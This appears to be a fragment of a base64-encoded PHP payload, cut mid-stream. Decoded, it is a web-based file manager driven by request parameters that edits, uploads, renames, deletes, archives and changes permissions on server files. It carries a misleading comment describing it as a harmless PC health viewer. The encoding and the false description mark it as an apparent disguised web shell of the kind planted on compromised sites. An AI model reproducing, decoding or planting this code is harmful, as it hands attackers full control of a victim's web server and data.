0ZW50cygkcGF0aCAuICRfUkVRVUVTVFsnZWRpdCddKTsNCg0KICAgICRlZGl0bGluayA9ICR1cmxfaW5jIC4gJyZlZGl0PScgLiAkX1JFUVVFU1RbJ2VkaXQnXSAuICcmcGF0aD0nIC4gJHBhdGg7DQoNCiAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7DQoNCj8+DQo8dGFibGUgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzEnIHdpZHRoPSIxMDAlIj4NCg0KPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy5fXygnRWRpdCcpLicgLSAnLiRwYXRoLiRfUkVRVUVTVFsnZWRpdCddPz48L3RoPg0KPC90cj4NCg0KPHRyPg0KDQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCiAgICAgICAgPD89JG1zZ19oZWFkZXJzPz4NCg0KCSAgICAgPC90ZD4NCg0KPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICA8dGQgY2xhc3M9InJvdzEiPg0KDQogICAgICAgIDw/PWZtX2hvbWUoKT8+IDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+DQoNCgkgICAgIDwvdGQ+DQo8L3RyPg0KDQo8dHI+DQoNCiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPg0KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSRlZGl0bGluaz8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im5ld2NvbnRlbnQiIGlkPSJuZXdjb250ZW50IiBjb2xzPSI0NSIgcm93cz0iMTUiIHN0eWxlPSJ3aWR0aDo5OSUiIHNwZWxsY2hlY2s9ImZhbHNlIj48Pz1odG1sc3BlY2lhbGNoYXJzKCRvbGRjb250ZW50KT8+PC90ZXh0YXJlYT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlIiB2YWx1ZT0iPD89X18oJ1N1Ym1pdCcpPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjYW5jZWwiIHZhbHVlPSI8Pz1fXygnQ2FuY2VsJyk/PiI+DQoNCiAgICAgICAgPC9mb3JtPg0KDQogICAgPC90ZD4NCg0KPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvdGFibGU+DQoNCjw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQplY2hvICRhdXRoX2dvd25bJ3NjcmlwdCddOw0KfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsncmlnaHRzJ10pKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgaWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkgew0KCSAgICAgICAgIGlmKGZtX2NobW9kKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgZm1fY29udmVydF9yaWdodHMoJF9SRVFVRVNUWydyaWdodHNfdmFsJ10pLCBAJF9SRVFVRVNUWydyZWN1cnNpdmVseSddKSkNCg0KCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IChfXygnRmlsZSB1cGRhdGVkJykpOyANCgkgICAgIAkgICAgIGVsc2UgJG1zZ19oZWFkZXJzIC49IChfXygnRXJyb3Igb2NjdXJyZWQnKSk7DQoJICAgICB9DQoJICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICRvbGRyaWdodHMgPSBmbV9yaWdodHNfc3RyaW5nKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgdHJ1ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICRsaW5rID0gJHVybF9pbmMgLiAnJnJpZ2h0cz0nIC4gJF9SRVFVRVNUWydyaWdodHMnXSAuICcmcGF0aD0nIC4gJHBhdGg7DQoNCiAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7DQo/Pg0KDQo8dGFibGUgY2xhc3M9Indob2xlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48L3RoPg0KPC90cj4NCg0KPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQoNCiAgICAgICAgPD89JG1zZ19oZWFkZXJzPz4NCg0KCSAgICAgPC90ZD4NCg0KPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPg0KDQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCg0KICAgICAgICA8YSBocmVmPSI8Pz0kYmFja2xpbms/PiI+PD89X18oJ0JhY2snKT8+PC9hPg0KDQoJICAgICA8L3RkPg0KPC90cj4NCjx0cj4NCiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPg0KDQogICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGxpbms/PiI+DQogICAgICAgICAgIDw/PV9fKCdSaWdodHMnKS4nIC0gJy4kX1JFUVVFU1RbJ3JpZ2h0cyddPz4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJpZ2h0c192YWwiIHZhbHVlPSI8Pz0kb2xkcmlnaHRzPz4iPg0KICAgICAgICA8P3BocCBpZiAoaXNfZGlyKCRwYXRoLiRfUkVRVUVTVFsncmlnaHRzJ10pKSB7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJlY3Vyc2l2ZWx5IiB2YWx1ZT0iMSI+IDw/PV9fKCdSZWN1cnNpdmVseScpPz48YnIvPg0KICAgICAgICA8P3BocCB9ID8+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4NCiAgICAgICAgPC9mb3JtPg0KDQogICAgPC90ZD4NCg0KPC90cj4NCjwvdGFibGU+DQo8P3BocA0KfSBlbHNlaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ3JlbmFtZSddKSYmJF9SRVFVRVNUWydyZW5hbWUnXTw+Jy4nKSB7DQoNCgkgICAgIGlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHsNCg0KCSAgICAgICAgIHJlbmFtZSgkcGF0aCAuICRfUkVRVUVTVFsncmVuYW1lJ10sICRwYXRoIC4gJF9SRVFVRVNUWyduZXduYW1lJ10pOw0KCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IChfXygnRmlsZSB1cGRhdGVkJykpOw0KCSAgICAgCSAgICAgJF9SRVFVRVNUWydyZW5hbWUnXSA9ICRfUkVRVUVTVFsnbmV3bmFtZSddOw0KCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQogICAgJGxpbmsgPSAkdXJsX2luYyAuICcmcmVuYW1lPScgLiAkX1JFUVVFU1RbJ3JlbmFtZSddIC4gJyZwYXRoPScgLiAkcGF0aDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAkYmFja2xpbmsgPSAkdXJsX2luYyAuICcmcGF0aD0nIC4gJHBhdGg7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo/Pg0KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+DQoNCjx0cj4NCg0KICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuJHBhdGg/PjwvdGg+DQo8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8dHI+DQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgPD89JG1zZ19oZWFkZXJzPz4NCg0KCSAgICAgPC90ZD4NCjwvdHI+DQoNCjx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICA8dGQgY2xhc3M9InJvdzEiPg0KDQogICAgICAgIDxhIGhyZWY9Ijw/PSRiYWNrbGluaz8+Ij48Pz1fXygnQmFjaycpPz48L2E+DQoNCgkgICAgIDwvdGQ+DQoNCjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgPHRkIGNsYXNzPSJyb3cxIiBhbGlnbj0iY2VudGVyIj4NCiAgICAgICAgPGZvcm0gbmFtZT0iZm9ybTEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kbGluaz8+Ij4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8Pz1fXygnUmVuYW1lJyk/PjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld25hbWUiIHZhbHVlPSI8Pz0kX1JFUVVFU1RbJ3JlbmFtZSddPz4iPjxici8+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4NCg0KICAgICAgICA8L2Zvcm0+DQogICAgPC90ZD4NCg0KPC90cj4NCg0KPC90YWJsZT4NCg0KPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCn0gZWxzZSB7DQoNCi8vIGtpcmVpLCBzaG93aW5nIHRoZSBzcGVjaWZpY2F0aW9ucyBvZiB5b3VyIGNvbXB1dGVyLCBsaWtlIGEgbWFnaWNhbCBjcnlzdGFsIGJhbGwgZm9yIHlvdXIgUEPvv73vv71zIGhlYWx0aCENCg0KICAgICRtc2dfaGVhZGVycyA9ICcnOw0KDQogICAgaWYoIWVtcHR5KCRfRklMRVNbJ3VwbG9hZCddKSYmIWVtcHR5KCRmbV9jb25maWdbJ3VwbG9hZF9maWxlJ10pKSB7DQoNCiAgICAgICAgaWYoIWVtcHR5KCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKXsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddID0gc3RyX3JlcGxhY2UoJyUnLCAnJywgJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIW1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1cGxvYWQnXVsndG1wX25hbWUnXSwgJHBhdGggLiAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKSl7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRtc2dfaGVhZGVycyAuPSBfXygnRmlsZXMgdXBsb2FkZWQnKS4nOiAnLiRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICB9DQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsnZGVsZXRlJ10pJiYkX1JFUVVFU1RbJ2RlbGV0ZSddPD4nLicpIHsNCiAgICAgICAgaWYoIWZtX2RlbF9maWxlQXJyYXkoKCRwYXRoIC4gJF9SRVFVRVNUWydkZWxldGUnXSksIHRydWUpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdEZWxldGVkJykuJyAnLiRfUkVRVUVTVFsnZGVsZXRlJ107DQoJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICB9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydta2RpciddKSYmIWVtcHR5KCRmbV9jb25maWdbJ21ha2VfZGlyZWN0b3J5J10pKSB7DQoNCiAgICAgICAgaWYoIUBta2RpcigkcGF0aCAuICRfUkVRVUVTVFsnZGlybmFtZSddLDA3NzcpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KICAgICAgICB9IGVsc2Ugew0KCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdDcmVhdGVkJykuJyAnLiRfUkVRVUVTVFsnZGlybmFtZSddOw0KDQoJICAgICAJICAgICB9DQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUE9TVFsnc2VhcmNoX3JlY3Vyc2l2ZSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsICcwJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkc2VhcmNoX2RhdGEgPSAgZmluZF90ZXh0X2luX2ZpbGVBcnJheSgkX1BPU1RbJ3BhdGgnXSwgJF9QT1NUWydtYXNrJ10sICRfUE9TVFsnc2VhcmNoX3JlY3Vyc2l2ZSddKTsNCg0KCSAgICAgCSAgICAgaWYoIWVtcHR5KCRzZWFyY2hfZGF0YSkpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdGb3VuZCBpbiBmaWxlQXJyYXknKS4nICgnLmNvdW50KCRzZWFyY2hfZGF0YSkuJyk6PGJyPic7DQoNCgkgICAgIAkgICAgIAkgICAgIGZvcmVhY2ggKCRzZWFyY2hfZGF0YSBhcyAkZmlsZW5hbWUpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49ICc8YSBocmVmPSInLmZtX3VybCh0cnVlKS4nP2ZtPXRydWUmZWRpdD0nLmJhc2VuYW1lKCRmaWxlbmFtZSkuJyZwYXRoPScuc3RyX3JlcGxhY2UoJy8nLmJhc2VuYW1lKCRmaWxlbmFtZSksJy8nLCRmaWxlbmFtZSkuJyIgdGl0bGU9IicgLiBfXygnRWRpdCcpIC4gJyI+Jy5iYXNlbmFtZSgkZmlsZW5hbWUpLic8L2E+Jm5ic3A7ICZuYnNwOyc7DQoNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgfSBlbHNlIHsNCgkgICAgIAkgICAgIAkgICAgICRtc2dfaGVhZGVycyAuPSBfXygnTm90aGluZyBmb3VuZGVkJyk7DQoNCgkgICAgIAkgICAgIH0JICAgICANCg0KCSAgICAgfSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsnbWtmaWxlJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snbmV3X2ZpbGUnXSkpIHsNCiAgICAgICAgaWYoISRmcD1AZm9wZW4oJHBhdGggLiAkX1JFUVVFU1RbJ2ZpbGVuYW1lJ10sInciKSkgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCg0KICAgICAgICB9IGVsc2Ugew0KDQoJICAgICAJICAgICAJICAgICBmY2xvc2UoJGZwKTsNCg0KCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdDcmVhdGVkJykuJyAnLiRfUkVRVUVTVFsnZmlsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICB9DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfR0VUWyd6aXAnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnemlwJ10pOw0KCSAgICAgCSAgICAgJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSkuJy56aXAnOw0KCSAgICAgCSAgICAgc2V0X3RpbWVfbGltaXQoMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkcGhhciA9IG5ldyBQaGFyRGF0YSgkZGVzdGluYXRpb24pOw0KDQoJICAgICAJICAgICAkcGhhci0+YnVpbGRGcm9tRGlyZWN0b3J5KCRzb3VyY2UpOw0KDQoJICAgICAJICAgICBpZiAoaXNfZmlsZSgkZGVzdGluYXRpb24pKQ0KDQoJICAgICAJICAgICAkbXNnX2hlYWRlcnMgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLiciICcuX18oJ2RvbmUnKS4NCg0KCSAgICAgCSAgICAgJy4mbmJzcDsnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZGVzdGluYXRpb24sX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZGVzdGluYXRpb24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIC4nJm5ic3A7PGEgaHJlZj0iJy4kdXJsX2luYy4nJmRlbGV0ZT0nLiRkZXN0aW5hdGlvbi4nJnBhdGg9JyAuICRwYXRoLiciIHRpdGxlPSInLl9fKCdEZWxldGUnKS4nICcuICRkZXN0aW5hdGlvbi4nIiA+Jy5fXygnRGVsZXRlJykgLiAnPC9hPic7DQoNCgkgICAgIAkgICAgIGVsc2UgJG1zZ19oZWFkZXJzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpLic6ICcuX18oJ25vIGZpbGVBcnJheScpOw0KDQoJICAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2d6J10pKSB7DQoNCgkgICAgIAkgICAgICRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydneiddKTsNCg0KCSAgICAgCSAgICAgJGFyY2hpdmUgPSAkc291cmNlLicudGFyJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKS4nLnRhcic7DQoJICAgICAJICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHVubGluaygkYXJjaGl2ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgdW5saW5rKCRhcmNoaXZlLicuZ3onKTsNCg0KCSAgICAgCSAgICAgY2xlYXJzdGF0Y2FjaGUoKTsNCgkgICAgIAkgICAgIHNldF90aW1lX2xpbWl0KDApOw0KCSAgICAgCSAgICAgLy9kaWUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgICRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7DQoJICAgICAJICAgICAkcGhhci0+YnVpbGRGcm9tRGlyZWN0b3J5KCRzb3VyY2UpOw0KDQoJICAgICAJICAgICAkcGhhci0+Y29tcHJlc3MoUGhhcjo6R1osJy50YXIuZ3onKTsNCg0KCSAgICAgCSAgICAgdW5zZXQoJHBoYXIpOw0KDQoJICAgICAJICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgaWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIHVubGluaygkYXJjaGl2ZSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg